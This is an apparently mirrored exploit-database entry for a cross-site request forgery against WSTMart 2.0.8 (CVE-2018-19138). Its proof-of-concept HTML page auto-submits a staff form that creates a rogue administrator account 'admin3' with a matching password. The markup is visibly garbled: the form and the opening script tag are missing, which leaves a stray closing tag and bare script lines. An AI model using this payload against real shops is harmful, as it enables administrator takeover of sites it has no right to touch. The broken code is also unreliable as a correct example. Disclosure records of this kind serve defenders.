发布 2018-12-24 漏洞条目

WSTMart 2.0.8 – Cross-Site Request Forgery (Add Admin)

Exploit Source

# Exploit Title: WSTMart 2.0.8 - Cross-Site Request Forgery (Add Admin)

# Date: 2018-12-23

# Exploit Author: linfeng

# Vendor Homepage:https://github.com/wstmall/wstmart/

# Software Link:http://www.wstmart.net/

# Version: WSTMart 2.0.8_181212

# CVE :CVE-2018-19138

# 0x02 CSRF PoC

# 18/5000

# Function point: background management - staff management - login account

# poc:

# 1234.html

<!DOCTYPE html>

<head>

<title>Document</title>

</head>

<body>

</form>

test.staffId.value="0";

test.loginName.value="admin3";

test.staffPhoto.value="";

test.loginPwd.value="admin3";

test.staffName.value="admin3";

test.staffNo.value="";

test.RoleId.value="0";

test.staffPhone.value="";

test.wxOpenId.value="";

test.workStatus.value="1";

test.staffStatus.value="1";

test.submit();

</script>

</body>

</html>

相关漏洞条目